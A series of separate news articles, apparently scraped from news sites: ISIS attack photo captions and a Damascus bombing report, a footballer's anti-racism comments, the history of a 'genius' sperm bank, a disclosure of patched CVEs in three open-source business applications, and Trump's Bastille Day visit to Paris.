deadly triple bombing Sunday, January 31, in the Damascus suburb of Sayeda Zeynab. ISIS claimed responsibility for the attack, according to a statement circulating online from supporters of the terrorist group.Hide Caption 3 of 68 Photos: The ISIS terror threatYemenis check the scene of a car bomb attack Sunday, December 6, in Aden, Yemen. Aden Gov. Jaafar Saad and six bodyguards died in the attack, for which the terror group ISIS claimed responsibility.Hide Caption 4 of 68 Photos: The ISIS terror threatInvestigators check the scene of a mosque attack Friday, November 27, in northern Bangladesh's Bogra district. ISIS has claimed responsibility for the attack that left at least one person dead and three more wounded.Hide Caption 5 of 68 Photos: The ISIS terror threatWounded people are helped outside the Bataclan concert hall in Paris following a series of coordinated attacks in the city on Friday, November 13. The militant group ISIS claimed responsibility for the attacks, which killed at least 130 people and wounded hundreds more.Hide Caption 6 of 68 Photos: The ISIS terror threatEmergency personnel and civilians gather at the site of a twin suicide bombing in Beirut, Lebanon, on Thursday, November 12. The bombings killed at least 43 people and wounded more than 200 more. ISIS appeared to claim responsibility in a statement posted on social media.Hide Caption 7 of 68 Photos: The ISIS terror threatSmoke rises over the northern Iraqi town of Sinjar on November 12. Kurdish Iraqi fighters, backed by a U.S.-led air campaign, retook the strategic town, which ISIS militants overran last year. ISIS wants to create an Islamic state across Sunni areas of Iraq and Syria.Hide Caption 8 of 68 Photos: The ISIS terror threatSyrian government troops walk inside the Kweiras air base on Wednesday, November 11, after they broke a siege imposed by ISIS militants.Hide Caption 9 of 68 Photos: The ISIS terror threatMembers of the Egyptian military approach the wreckage of a Russian passenger plane Sunday, November 1, in Hassana, Egypt. The plane crashed the day before, killing all 224 people on board. ISIS claimed responsibility for downing the plane, but the group's claim wasn't immediately verified.Hide Caption 10 of 68 Photos: The ISIS terror threatAn explosion rocks Kobani, Syria, during a reported car bomb attack by ISIS militants on Tuesday, October 20.Hide Caption 11 of 68 Photos: The ISIS terror threatShiite fighters, fighting alongside Iraqi government forces, fire a rocket at ISIS militants as they advance toward the center of Baiji, Iraq, on Monday, October 19.Hide Caption 12 of 68 Photos: The ISIS terror threatSmoke rises above a damaged building in Ramadi, Iraq, following a coalition airstrike against ISIS positions on Saturday, August 15.Hide Caption 13 of 68 Photos: The ISIS terror threatIraqi men look at damage following a bomb explosion that targeted a vegetable market in Baghdad on Thursday, August 13. ISIS claimed responsibility for the attack. Hide Caption 14 of 68 Photos: The ISIS terror threatIn this image taken from social media, an ISIS fighter holds the group's flag after the militant group overran the Syrian town of al-Qaryatayn on Thursday, August 6, the London-based Syrian Observatory for Human Rights reported. ISIS uses modern tools such as social media to promote reactionary politics and religious fundamentalism. Fighters are destroying holy sites and valuable antiquities even as their leaders propagate a return to the early days of Islam. Hide Caption 15 of 68 Photos: The ISIS terror threatAn ISIS fighter poses with spoils purportedly taken after capturing the Syrian town of al-Qaryatayn.Hide Caption 16 of 68 Photos: The ISIS terror threatSmoke rises as Iraqi security forces bomb ISIS positions in the eastern suburbs of Ramadi, Iraq, on August 6.Hide Caption 17 of 68 Photos: The ISIS terror threatBuildings reduced to piles of debris can be seen in the eastern suburbs of Ramadi on August 6.Hide Caption 18 of 68 Photos: The ISIS terror threatThe governor of the Asir region in Saudi Arabia, Prince Faisal bin Khaled bin Abdulaziz, left, visits a man who was wounded in a suicide bombing attack on a mosque in Abha, Saudi Arabia, on August 6. ISIS claimed responsibility for the explosion, which killed at least 13 people and injured nine others.Hide Caption 19 of 68 Photos: The ISIS terror threatSaudi officials and investigators check the inside of the mosque on August 6.Hide Caption 20 of 68 Photos: The ISIS terror threatMourners in Gaziantep, Turkey, grieve over a coffin Tuesday, July 21, during a funeral ceremony for the victims of a suspected ISIS suicide bomb attack. That bombing killed at least 31 people in Suruc, a Turkish town that borders Syria. Turkish authorities blamed ISIS for the attack.Hide Caption 21 of 68 Photos: The ISIS terror threatProtesters in Istanbul carry anti-ISIS banners and flags to show support for victims of the Suruc suicide blast during a demonstration on Monday, July 20.Hide Caption 22 of 68 Photos: The ISIS terror threatPeople in Ashmoun, Egypt, carry the coffin for 1st Lt. Mohammed Ashraf, who was killed when the ISIS militant group attacked Egyptian military checkpoints on Wednesday, July 1. At least 17 soldiers were reportedly killed, and 30 were injured.Hide Caption 23 of 68 Photos: The ISIS terror threatSyrians wait near the Turkish border during clashes between ISIS and Kurdish armed groups in Kobani, Syria, on Thursday, June 25. The photo was taken in Sanliurfa, Turkey. ISIS militants disguised as Kurdish security forces infiltrated Kobani on Thursday and killed "many civilians," said a spokesman for the Kurds in Kobani.Hide Caption 24 of 68 Photos: The ISIS terror threatResidents examine a damaged mosque after an Iraqi Air Force bombing in the ISIS-seized city of Falluja, Iraq, on Sunday, May 31. At least six were killed and nine others wounded during the bombing.Hide Caption 25 of 68 Photos: The ISIS terror threatPeople search through debris after an explosion at a Shiite mosque in Qatif, Saudi Arabia, on Friday, May 22. ISIS claimed responsibility for the attack, according to tweets from ISIS supporters, which included a formal statement from ISIS detailing the operation.Hide Caption 26 of 68 Photos: The ISIS terror threatIraqi soldiers fire their weapons toward ISIS group positions in the Garma district, west of the Iraqi capital of Baghdad, on Sunday, April 26. Pro-government forces said they had recently made advances on areas held by Islamist jihadists.Hide Caption 27 of 68 Photos: The ISIS terror threatA member of Afghanistan's security forces stands at the site where a suicide bomber on a motorbike blew himself up in front of the Kabul Bank in Jalalabad, Afghanistan, on Saturday, April 18. ISIS claimed responsibility for the attack. The explosion killed at least 33 people and injured more than 100 others, a public health spokesman said.Hide Caption 28 of 68 Photos: The ISIS terror threatIraqi counterterrorism forces patrol in Ramadi on April 18.Hide Caption 29 of 68 Photos: The ISIS terror threatThousands of Iraqis cross a bridge over the Euphrates River to Baghdad as they flee Ramadi on Friday, April 17.Hide Caption 30 of 68 Photos: The ISIS terror threatYazidis embrace after being released by ISIS south of Kirkuk, Iraq, on Wednesday, April 8. ISIS released more than 200 Yazidis, a minority group whose members were killed, captured and displaced when the Islamist terror organization overtook their towns in northern Iraq last summer, officials said.Hide Caption 31 of 68 Photos: The ISIS terror threatKurdish Peshmerga forces help Yazidis as they arrive at a medical center in Altun Kupri, Iraq, on April 8.Hide Caption 32 of 68 Photos: The ISIS terror threatA Yazidi woman mourns for the death of her husband and children by ISIS after being released south of Kirkuk on April 8. ISIS is known for killing dozens of people at a time and carrying out public executions, crucifixions and other acts. Hide Caption 33 of 68 Photos: The ISIS terror threatPeople in Tikrit inspect what used to be a palace of former President Saddam Hussein on April 3.Hide Caption 34 of 68 Photos: The ISIS terror threatOn April 1, Shiite militiamen celebrate the retaking of Tikrit, which had been under ISIS control since June. The push into Tikrit came days after U.S.-led airstrikes targeted ISIS bases around the city.Hide Caption 35 of 68 Photos: The ISIS terror threatIraqi security forces launch a rocket against ISIS positions in Tikrit on Monday, March 30.Hide Caption 36 of 68 Photos: The ISIS terror threatThe parents of 19-year-old Mohammed Musallam react at the family's home in the East Jerusalem Jewish settlement of Neve Yaakov on Tuesday, March 10. ISIS released a video purportedly showing a young boy executing Musallam, an Israeli citizen of Palestinian descent who ISIS claimed infiltrated the group in Syria to spy for the Jewish state. Musallam's family told CNN that he had no ties with the Mossad, Israel's spy agency, and had, in fact, been recruited by ISIS.Hide Caption 37 of 68 Photos: The ISIS terror threatIraqi Shiite fighters cover their ears as a rocket is launched during a clash with ISIS militants in the town of Al-Alam, Iraq, on Monday, March 9.Hide Caption 38 of 68 Photos: The ISIS terror threatDisplaced Assyrian women who fled their homes due to ISIS attacks pray at a church on the outskirts of Damascus, Syria, on Sunday, March 1. ISIS militants abducted at least 220 Assyrians in Syria. Hide Caption 39 of 68 Photos: The ISIS terror threatSafi al-Kasasbeh, right, receives condolences from tribal leaders at his home village near Karak, Jordan, on Wednesday, February 4. Al-Kasasbeh's son, Jordanian pilot Moath al-Kasasbeh, was burned alive in a video that was recently released by ISIS militants. Jordan is one of a handful of Middle Eastern nations taking part in the U.S.-led military coalition against ISIS.Hide Caption 40 of 68 Photos: The ISIS terror threatA Kurdish marksman looks over a destroyed area of Kobani on Friday, January 30, after the city had been liberated from the ISIS militant group. The Syrian city, also known as Ayn al-Arab, had been under assault by ISIS since mid-September.Hide Caption 41 of 68 Photos: The ISIS terror threatKurdish people celebrate in Suruc, Turkey, near the Turkish-Syrian border, after ISIS militants were expelled from Kobani on Tuesday, January 27.Hide Caption 42 of 68 Photos: The ISIS terror threatCollapsed buildings are seen in Kobani on January 27 after Kurdish forces took control of the town from ISIS.Hide Caption 43 of 68 Photos: The ISIS terror threatJunko Ishido, mother of Japanese journalist Kenji Goto, reacts during a news conference in Tokyo on Friday, January 23. ISIS would later kill Goto and another Japanese hostage, Haruna Yukawa.Hide Caption 44 of 68 Photos: The ISIS terror threatISIS militants are seen through a rifle's scope during clashes with Peshmerga fighters in Mosul, Iraq, on Wednesday, January 21.Hide Caption 45 of 68 Photos: The ISIS terror threatAn elderly Yazidi man arrives in Kirkuk after being released by ISIS on Saturday, January 17. The militant group released about 200 Yazidis who were held captive for five months in Iraq. Almost all of the freed prisoners were in poor health and bore signs of abuse and neglect, Kurdish officials said.Hide Caption 46 of 68 Photos: The ISIS terror threatSmoke billows behind an ISIS sign during an Iraqi military operation to regain control of the town of Sadiyah, about 95 kilometers (60 miles) north of Baghdad, on Tuesday, November 25.Hide Caption 47 of 68 Photos: The ISIS terror threatFighters from the Free Syrian Army and the Kurdish People's Protection Units join forces to fight ISIS in Kobani on Wednesday, November 19.Hide Caption 48 of 68 Photos: The ISIS terror threatA picture taken from Turkey shows smoke rising after ISIS militants fired mortar shells toward an area controlled by Syrian Kurdish fighters near Kobani on Monday, November 3.Hide Caption 49 of 68 Photos: The ISIS terror threatIraqi special forces search a house in Jurf al-Sakhar, Iraq, on Thursday, October 30, after retaking the area from ISIS.Hide Caption 50 of 68 Photos: The ISIS terror threatISIS militants stand near the site of an airstrike near the Turkey-Syria border on Thursday, October 23. The United States and several Arab nations have been bombing ISIS targets in Syria to take out the militant group's ability to command, train and resupply its fighters.Hide Caption 51 of 68 Photos: The ISIS terror threatKurdish fighters walk to positions as they combat ISIS forces in Kobani on Sunday, October 19.Hide Caption 52 of 68 Photos: The ISIS terror threatHeavy smoke rises in Kobani following an airstrike by the U.S.-led coalition on October 18.Hide Caption 53 of 68 Photos: The ISIS terror threatCundi Minaz, a female Kurdish fighter, is buried in a cemetery in the southeastern Turkish town of Suruc on Tuesday, October 14. Minaz was reportedly killed during clashes with ISIS militants in nearby Kobani.Hide Caption 54 of 68 Photos: The ISIS terror threatKiymet Ergun, a Syrian Kurd, celebrates in Mursitpinar, Turkey, after an airstrike by the U.S.-led coalition in Kobani on Monday, October 13.Hide Caption 55 of 68 Photos: The ISIS terror threatAlleged ISIS militants stand next to an ISIS flag atop a hill in Kobani on Monday, October 6. Hide Caption 56 of 68 Photos: The ISIS terror threatA Kurdish Peshmerga soldier who was wounded in a battle with ISIS is wheeled to the Zakho Emergency Hospital in Duhuk, Iraq, on Tuesday, September 30.Hide Caption 57 of 68 Photos: The ISIS terror threatSyrian Kurds wait near a border crossing in Suruc as they wait to return to their homes in Kobani on Sunday, September 28.Hide Caption 58 of 68 Photos: The ISIS terror threatA elderly man is carried after crossing the Syria-Turkey border near Suruc on Saturday, September 20.Hide Caption 59 of 68 Photos: The ISIS terror threatA Kurdish Peshmerga fighter launches mortar shells toward ISIS militants in Zumar, Iraq, on Monday, September 15.Hide Caption 60 of 68 Photos: The ISIS terror threatKurdish Peshmerga fighters fire at ISIS militant positions from their position on the top of Mount Zardak, east of Mosul, Iraq, on Tuesday, September 9. Hide Caption 61 of 68 Photos: The ISIS terror threatDisplaced Iraqis receive clothes from a charity at a refugee camp near Feeshkhabour, Iraq, on Tuesday, August 19.Hide Caption 62 of 68 Photos: The ISIS terror threatAziza Hamid, a 15-year-old Iraqi girl, cries for her father while she and some other Yazidi people are flown to safety Monday, August 11, after a dramatic rescue operation at Iraq's Mount Sinjar. A CNN crew was on the flight, which took diapers, milk, water and food to the site where as many as 70,000 people were trapped by ISIS. But only a few of them were able to fly back on the helicopter with the Iraqi Air Force and Kurdish Peshmerga fighters.Hide Caption 63 of 68 Photos: The ISIS terror threatThousands of Yazidis are escorted to safety by Kurdish Peshmerga forces and a People's Protection Unit in Mosul on Saturday, August 9.Hide Caption 64 of 68 Photos: The ISIS terror threatThousands of Yazidi and Christian people flee Mosul on Wednesday, August 6, after the latest wave of ISIS advances.Hide Caption 65 of 68 Photos: The ISIS terror threatA Baiji oil refinery burns after an alleged ISIS attack in northern Selahaddin, Iraq, on Thursday, July 31.Hide Caption 66 of 68 Photos: The ISIS terror threatA Syrian rebel fighter lies on a stretcher at a makeshift hospital in Douma, Syria, on Wednesday, July 9. He was reportedly injured while fighting ISIS militants.Hide Caption 67 of 68 Photos: The ISIS terror threatChildren stand next to a burnt vehicle during clashes between Iraqi security forces and ISIS militants in Mosul on Tuesday, June 10.Hide Caption 68 of 68"Terrorists" detonated a car bomb at a bus terminal, followed shortly by two suicide bombings that targeted onlookers and medics at the scene of the initial attack, an Interior Ministry official told SANA.The blasts injured dozens in Sayeda Zeynab, according to the news agency. The suburb is named after an important Shiite mosque.Read MoreThe attack happened while representatives from President Bashar al-Assad's regime and the main Syrian opposition are in Geneva, Switzerland, for talks aimed at ending the country's civil war.CNN's Yousuf Basil and Schams Elwazer contributed to this report.
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(CNN)Bayern Munich star Joshua Kimmich says the club is planning on joining the protests against George Floyd's death and believes white players should stand with their black teammates in showing solidarity.Jadon Sancho, Achraf Hakimi, Weston McKennie and Marcus Thuram all made protests during Bundesliga matches over the weekend and Kimmich says all players have the "responsibility" to stand up to the scourge of racism, not only in football but also in society."I think it's good that it's not just one player [protesting] and maybe it's also an option to say something as a team," Kimmich said. "We're one world, one club, one football team and it doesn't matter if you are black or white."We as footballers, like Sancho, have a lot of power to reach other people, to be a role model and to say something because what we say, people outside listen and so this is a big chance to make a statement."As a football player, you have a big power in this world and so my opinion is that we can feel this responsibility and we're able to say something like Sancho did."Read MoreJoshua Kimmich says players have the 'responsibility' to join racism protests.READ: Premier League players urged to take a knee in protest at George Floyd's deathREAD: Lewis Hamilton 'completely overcome with rage' following George Floyd's deathAfter opening an investigation into the four players' protests, the German Football Association (DFB) announced on Wednesday that it would not be taking action as they were "deliberate actions of anti-racism by the players, who are thus campaigning for the very values which the DFB seeks to uphold."It also confirmed that similar protests in the coming weeks would go unpunished.Kimmich notes that German football has seen incidents of racist abuse this season and says Bayern's players can do more to emphasize the anti-racism campaign the club launched earlier this year."Of course we discussed it [making protests as a team] and maybe we can do something," Kimmich added. "We maybe have to do something because we cannot give something like this [racism] a place."We as players on Instagram or on social media, we can take our voice and use our power to reach the other people that this won't happen in the future anymore. And I think everybody has to stay together and fight against this racism, in football and in society."
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Story highlightsThe Repository for Germinal Choice was an elite sperm bank that closed in 1999Its founder recruited only men of high intelligence and strong athletic abilityThe so-called "Nobel Prize sperm bank" drew criticism"This is Life with Lisa Ling" features some of the children born as a result (CNN)It sounds like the plot of a Hollywood movie: An eccentric millionaire creates a sperm bank with donations from only extraordinary men -- Nobel laureates, an Olympic athlete and geniuses with off-the-chart IQs. The mission? To create a generation of smarter, healthier, more productive members of societyBut this was no movie plot. This actually happened.Robert K. Graham -- a businessman who made his fortune after inventing shatterproof eyeglasses -- founded the Repository for Germinal Choice in 1980. It operated until 1999, two years after his death. JUST WATCHEDDid 'The Genius Experiment' work?ReplayMore Videos ...MUST WATCHDid 'The Genius Experiment' work? 02:05JUST WATCHEDCourt: Sperm donor to pay child supportReplayMore Videos ...MUST WATCHCourt: Sperm donor to pay child support 01:58JUST WATCHEDNew mom sues lab over sperm mix-upReplayMore Videos ...MUST WATCHNew mom sues lab over sperm mix-up 04:15JUST WATCHEDShould you worry about switched sperm?ReplayMore Videos ...MUST WATCHShould you worry about switched sperm? 01:40Graham was very clear about his motives: He wanted to improve the human gene pool.Read More"The better the human gene pool, the better the individuals who will come out of it," Graham said. "And the poorer the human gene pool, the more useless and detrimental individuals will come out of it."Not surprisingly, the so-called "Nobel Prize sperm bank" attracted controversy and accusations that Graham was a racist, resurrecting the ideas that gave rise to Nazi Germany -- something he denied.On Sunday, some of the men and women who were born as a result of Graham's project reveal how their lives have evolved on this week's episode of "This is Life with Lisa Ling."Here are some interesting facts about the Repository for Germinal Choice:It didn't cost that much Women who applied for Graham's genius sperm only had to come up a $50 application fee and $10 a month for storage and shipping costs, according to a 1984 New York Times article on the sperm bank.The moms didn't have to be geniuses They had to be married (although there was an exception made for at least one single mother), but the mothers did not have to take an IQ test or go through any genetic screening. Donors were recruited on college campusesJulianna McKillop, who worked for the repository from 1980 to 1985, recalls traveling up and down the West Coast visiting elite college campuses looking for sperm donors. "I'd take the tanks of liquid nitrogen in Dr. Graham's Cadillac and drive up to CalTech and talk to the students (and professors)," she told Lisa Ling. If someone was willing, she provided him a cup and some private time. She'd store the donation in the back of the Cadillac with the liquid nitrogen."Can you imagine doing that? It wasn't easy to get a donor, they'd kind of go like, 'Why are you in my office?' And I said, 'Well you have some genetic material and there's some people out there that can use that, they would like to have a child.'" All the donors were white While most of the donors remain anonymous, Graham did acknowledge that they were all white, according to David Plotz, author of "The Genius Factory: The Curious History of the Nobel Prize Sperm Bank." But Graham strongly denied that he was a racist or a Nazi. "We aren't thinking of a superrace," Graham said at a 1980 news conference, according to Plotz's book. "We are thinking in terms of a few more creative, intelligent people who otherwise might not be born."The sperm bank produced some 215 children -- and many lead quite ordinary lives todayJUST WATCHEDSperm swap may affect 1K familiesReplayMore Videos ...MUST WATCHSperm swap may affect 1K families 02:07 Photos: Photos: Super-smart celebrities Photos: Photos: Super-smart celebrities Famous faces with brains to match – One of Mensa's most famous members is Oscar-winning actress Geena Davis. As if being really smart isn't enough, she also nearly qualified for the women's Olympic archery team. Hide Caption 1 of 9 Photos: Photos: Super-smart celebrities Famous faces with brains to match – Funnyman Steve Martin once considered becoming a philosophy professor instead of a comedian. Another Mensa member, he has a self-reported IQ of 142. Hide Caption 2 of 9 Photos: Photos: Super-smart celebrities Famous faces with brains to match – Beauty and brains: Actress Natalie Portman completed her degree at Harvard University while filming the "Star Wars" movies. Since graduation, she has lectured at Columbia University on counter-terrorism and hasn't ruled out a career in psychology. Hide Caption 3 of 9 Photos: Photos: Super-smart celebrities Famous faces with brains to match – "Modern Family" child star Nolan Gould is just 15, and as of 2012 had already graduated high school. The young member of Mensa has stated his IQ is 150. Hide Caption 4 of 9 Photos: Photos: Super-smart celebrities Famous faces with brains to match – Although she first became famous for her iconic persona on TV's "Laugh-In," Goldie Hawn is nothing like the ditsy woman she portrayed. The actress is a reported member of Mensa and recently published a book on raising children. Hide Caption 5 of 9 Photos: Photos: Super-smart celebrities Famous faces with brains to match – Many consider Oscar-winning director Quentin Tarantino a genius for his work on the silver screen. But less known? He's a card-carrying Mensa member with an IQ of 160. Hide Caption 6 of 9 Photos: Photos: Super-smart celebrities Famous faces with brains to match – The star of MTV's "Awkward," Ashley Rickards says she joined Mensa after a competitive ex-boyfriend made her feel intellectually inferior. Hide Caption 7 of 9 Photos: Photos: Super-smart celebrities Famous faces with brains to match – Brains don't lie: Colombian singer Shakira reportedly has an IQ of 140, which qualifies her for Mensa. Hide Caption 8 of 9 Photos: Photos: Super-smart celebrities Famous faces with brains to match – Best known as Russian boxer Ivan Drago in "Rocky IV," Dolph Lundgren has a master's degree in chemical engineering from the University of Sydney. With an IQ of 160, this Mensa member was once offered a Fulbright Scholarship to MIT. Hide Caption 9 of 9 Photos: Celebs with fancy degrees Photos: Celebs with fancy degreesAshley Judd attends a basketball game at her alma mater, the University of Kentucky, where she got an undergraduate degree in French. She later completed a master's degree in public administration at Harvard's John F. Kennedy School of Government. Hide Caption 1 of 19 Photos: Celebs with fancy degreesCelebrities aren't just pretty faces. Many of them have some pretty big brains to go along with all that fame. Emma Watson, for example, received her degree in English literature from Brown University. (No word on whether she studied the Harry Potter books.) Here are some other stars who have mastered matriculation.Hide Caption 2 of 19 Photos: Celebs with fancy degreesActress Lupita Nyong'o, who won an Academy Award for her work in "12 Years A Slave," has a master of fine arts from the Yale School of Drama.Hide Caption 3 of 19 Photos: Celebs with fancy degreesJames Franco has a bachelor's degree from UCLA and a master's in fine arts from Columbia University, and he is pursuing a Ph.D. in English from Yale. Hide Caption 4 of 19 Photos: Celebs with fancy degreesMayim Bialik doesn't just play a genius on "The Big Bang Theory." She also triple majored as an undergrad at UCLA in Hebrew, Jewish studies and neuroscience and then earned a Ph.D. in neuroscience.Hide Caption 5 of 19 Photos: Celebs with fancy degreesThat's Ken Jeong, M.D.: The "Hangover" star has a medical degree from the University of North Carolina at Chapel Hill and has been a practicing physician. Hide Caption 6 of 19 Photos: Celebs with fancy degreesActor and author Hill Harper holds a bachelor's degree from Brown University, a juris doctorate from Harvard Law School and a master's in public administration from Harvard University.Hide Caption 7 of 19 Photos: Celebs with fancy degreesDolph Lundgren has played brawny lunkheads in a few films, but in real life he has a master's degree in chemical engineering from the University of Sydney in Australia.Hide Caption 8 of 19 Photos: Celebs with fancy degreesBad Religion singer Greg Graffin double-majored in anthropology and geology at UCLA and went on to earn a master's in geology and a Ph.D. from Cornell University.Hide Caption 9 of 19 Photos: Celebs with fancy degreesPorn star Ron Jeremy completed an undergraduate degree in education and obtained a master's degree in special education from Queens College in New York.Hide Caption 10 of 19 Photos: Celebs with fancy degreesModel Christy Turlington Burns has a bachelor's degree in comparative religion and Eastern philosophy from New York University and a master's in public health from Columbia University. Hide Caption 11 of 19 Photos: Celebs with fancy degreesBrian May of Queen completed a Ph.D. in astrophysics at Imperial College London. Hide Caption 12 of 19 Photos: Celebs with fancy degreesAngela Bassett honed her acting skills at Yale, where she graduated with a degree in African-American studies from Yale College and a master's degree from Yale School of Drama.Hide Caption 13 of 19 Photos: Celebs with fancy degreesSinger Art Garfunkel earned a bachelor of arts degree from Columbia College and later a master's degree in mathematics at Columbia University.Hide Caption 14 of 19 Photos: Celebs with fancy degreesActor David Duchovny went all-Ivy League with a bachelor's English literature from Princeton University and master's in the same subject from Yale University.Hide Caption 15 of 19 Photos: Celebs with fancy degreesBill Cosby has been a huge proponent of education and walks the walk. He holds a bachelor's degree from Temple University as well as a master's and doctorate in education from the University of Massachusetts Amherst.Hide Caption 16 of 19 Photos: Celebs with fancy degreesDexter Holland of the Offspring has both a bachelor's and a master's in molecular biology from the University of Southern California.Hide Caption 17 of 19 Photos: Celebs with fancy degreesThey don't call him "The Philosopher" for nothing. Shaquille O'Neal is best known for his basketball skills, but after promising his mother he wouldn't neglect his education, he earned an undergraduate degree at Louisiana State University, an MBA online through the University of Phoenix and an Ed.D. in human resources from Barry University.Hide Caption 18 of 19 Photos: Celebs with fancy degreesRowan Atkinson has a master's in electrical engineering from Queen's College, University of Oxford in the UK.Hide Caption 19 of 19Most of the progeny of the "genius sperm bank" who have spoken publicly say they did quite well in school. Today, as adults, many seem to be pretty ordinary: Tom runs a roofing business, Leandra is an opera singer, Courtney is a dancer, Logan has a form of autism. And several claim to feel pressure to do something extraordinary with their lives. As Tom puts it, "I have to do something with the gifts that I've been given." But Adrienne -- mother of Leandra, Courtney, and Logan -- says having "genius sperm" is no guarantee for happiness and success. "There's only so much you can control when it comes to genetics," she says. "It all has to do with what you give to your family." Graham paved the way for how many sperm banks operate todayDespite all the criticism, Graham paved the way for couples to have more of a choice in determining their sperm donors -- something that is commonplace today, as more and more men and women seek fertility treatment. At the Fairfax Cryobank, less than 1% of the men who apply to be donors actually become active donors, according to lab director Michelle Ottey. "It's a rigorous screening process, which is a good thing because we want really high-quality guys in the program," she explained. "Statistically it's easier to get into an Ivy League school than it is to get into the Fairfax donor program."
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Cybersecurity researchers on Tuesday disclosed nine security vulnerabilities affecting three open-source projects — EspoCRM, Pimcore, and Akaunting — that are widely used by several small to medium businesses and, if successfully exploited, could provide a pathway to more sophisticated attacks.
All the security flaws in question, which impact EspoCRM v6.1.6, Pimcore Customer Data Framework v3.0.0, Pimcore AdminBundle v6.8.0, and Akaunting v2.1.12, were fixed within a day of responsible disclosure, researchers Wiktor Sędkowski of Nokia and Trevor Christiansen of Rapid7 noted. Six of the nine flaws were uncovered in the Akaunting project.
EspoCRM is an open-source customer relationship management (CRM) application, while Pimcore is an open-source enterprise software platform for customer data management, digital asset management, content management, and digital commerce. Akaunting, on the other hand, is an open-source and online accounting software designed for invoice and expense tracking.
The list of issues is as follows -
CVE-2021-3539 (CVSS score: 6.3) - Persistent XSS flaw in EspoCRM v6.1.6
CVE-2021-31867 (CVSS score: 6.5) - SQL injection in Pimcore Customer Data Framework v3.0.0
CVE-2021-31869 (CVSS score: 6.5) - SQL injection in Pimcore AdminBundle v6.8.0
CVE-2021-36800 (CVSS score: 8.7) - OS command injection in Akaunting v2.1.12
CVE-2021-36801 (CVSS score: 8.5) - Authentication bypass in Akaunting v2.1.12
CVE-2021-36802 (CVSS score: 6.5) - Denial-of-service via user-controlled 'locale' variable in Akaunting v2.1.12
CVE-2021-36803 (CVSS score: 6.3) - Persistent XSS during avatar upload in Akaunting v2.1.12
CVE-2021-36804 (CVSS score: 5.4) - Weak Password Reset in Akaunting v2.1.12
CVE-2021-36805 (CVSS score: 5.2) - Invoice footer persistent XSS in Akaunting v2.1.12
Successful exploitation of the flaws could enable an authenticated adversary to execute arbitrary JavaScript code, commandeer the underlying operating system and use it as a beachhead to launch additional nefarious attacks, trigger a denial-of-service via a specially-crafted HTTP request, and even change the company associated with a user account sans any authorization.
EspoCRM
Pimcore Customer Data Framework
Also addressed in Akaunting is a weak password reset vulnerability where the attacker can abuse the "I forgot my password" functionality to send a phishing email from the application to a registered user containing a malicious link that, when clicked, delivers the password reset token. The bad actor can then use the token to set a password of their choice.
"All three of these projects have real users, real customers of their attendant support services and cloud-hosted versions, and are undoubtedly the core applications supporting thousands of small to medium businesses running today," the researchers noted.
"For all of these issues, updating to the latest versions of the affected applications will resolve them. If updating is difficult or impossible due to external factors or custom, local changes, users of these applications can limit their exposure by not presenting their production instances to the internet directly — instead, expose them only to trusted internal networks with trusted insiders."
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Story highlightsSecurity was tight as US President Donald Trump marked Bastille Day US aircraft participated in the flyover over Paris Paris (CNN)France treated President Donald Trump to an elaborate military display on Friday, a strategic show of friendship by the new leader here who hopes to elevate his country's global standing by flattering his US counterpart.Thousands of French troops paraded down the Champs-Élysées in a dramatic show of pageantry to mark the storming of the Bastille military prison in 1789, a turning point in the French Revolution.Trump and French President Emmanuel Macron reviewed the procession side-by-side from a stand at the Place de la Concorde, appearing in periodic and friendly conversation during the two-hour spectacle, which included 241 horses, 63 airplanes and 29 helicopters all advancing down and above the tree-lined avenue. They shared another extended handshake as they parted ways, each man gripping the other's arm as they paced the cobblestones of the stately plaza. Donald Trump in ParisTrump plays tough hand'You're in such good shape' Opinion: Europe's Trump whisperer Trump and Macron unpredictableThis year, the celebration is also meant to commemorate the centennial of US entry into World War I, hence Macron's invitation to Trump to attend.Read MoreIn addition to the display of French military might, the parade was augmented by about 150 US soldiers, airmen, sailors, and Marines, as well as American aircraft participating in the flyover.All told, Trump and Macron spent upwards of five hours in one-on-one time during Trump's 30-hour visit to the French capital. Unlike past French presidents, Macron speaks nearly perfect English and could converse easily without a translator.Added to his earlier meetings with Trump last month, Macron is now the foreign leader who has spent the most time with the US leader since he took office in January.In brief remarks following the ceremony, Macron channeled some of Trump's populist strains, declaring that France's values must be preserved and underscoring a militaristic effort to uphold personal liberties. Photos: Trump in Paris for Bastille Day celebrationsUS President Donald Trump and first lady Melania Trump board Air Force One at Paris' Orly Airport as they head back to the United States on Friday, July 14. The Trumps attended the Bastille Day parade in Paris at the invitation of French President Emmanuel Macron.Hide Caption 1 of 18 Photos: Trump in Paris for Bastille Day celebrationsMacron bids farewell to Trump following the Bastille Day military parade on the Champs-Elysees in Paris. Macron has sought to act as Trump's bridge to Europe, his advisers have said, as other leaders there have isolated the United States on key issues.Hide Caption 2 of 18 Photos: Trump in Paris for Bastille Day celebrationsThe Trumps join Macron and French first lady Brigitte Macron near the end of the parade on July 14. Bastille Day celebrates the storming of the Bastille military prison in 1789, a key date in the French Revolution. Friday's military display also commemorated the centennial of the US entry into World War I. Hide Caption 3 of 18 Photos: Trump in Paris for Bastille Day celebrationsThe Macrons play host to the Trumps during the elaborate military display.Hide Caption 4 of 18 Photos: Trump in Paris for Bastille Day celebrationsA crowd gathers outside a police cordon below the Eiffel Tower as the two leaders and their wives attend a dinner at Le Jules Verne restaurant on Thursday, July 13.Hide Caption 5 of 18 Photos: Trump in Paris for Bastille Day celebrationsThe couples dine at the Eiffel Tower restaurant on July 13. Hide Caption 6 of 18 Photos: Trump in Paris for Bastille Day celebrationsTrump and Macron hold a news conference after meeting at the Elysee Palace in Paris on July 13.Hide Caption 7 of 18 Photos: Trump in Paris for Bastille Day celebrationsThe leaders sit across a table at the Elysee Palace.Hide Caption 8 of 18 Photos: Trump in Paris for Bastille Day celebrationsThe two men have been holding extended talks on security matters, including the civil war in Syria and counterterrorism efforts.Hide Caption 9 of 18 Photos: Trump in Paris for Bastille Day celebrationsThe first ladies leave a boat after a trip on the Seine River on July 13.Hide Caption 10 of 18 Photos: Trump in Paris for Bastille Day celebrationsTourists take pictures of Melania Trump as she visits the Notre Dame Cathedral on July 13.Hide Caption 11 of 18 Photos: Trump in Paris for Bastille Day celebrationsPresident Macron welcomes Trump before their meeting at the Elysee Palace.Hide Caption 12 of 18 Photos: Trump in Paris for Bastille Day celebrationsTrump exits his car as he arrives for the meeting in Paris.Hide Caption 13 of 18 Photos: Trump in Paris for Bastille Day celebrationsThe Trumps and the Macrons tour Napoleon Bonaparte's tomb on July 13.Hide Caption 14 of 18 Photos: Trump in Paris for Bastille Day celebrationsThe Trumps and the Macrons attend a welcoming ceremony at Les Invalides, which houses Napoleon's tomb.Hide Caption 15 of 18 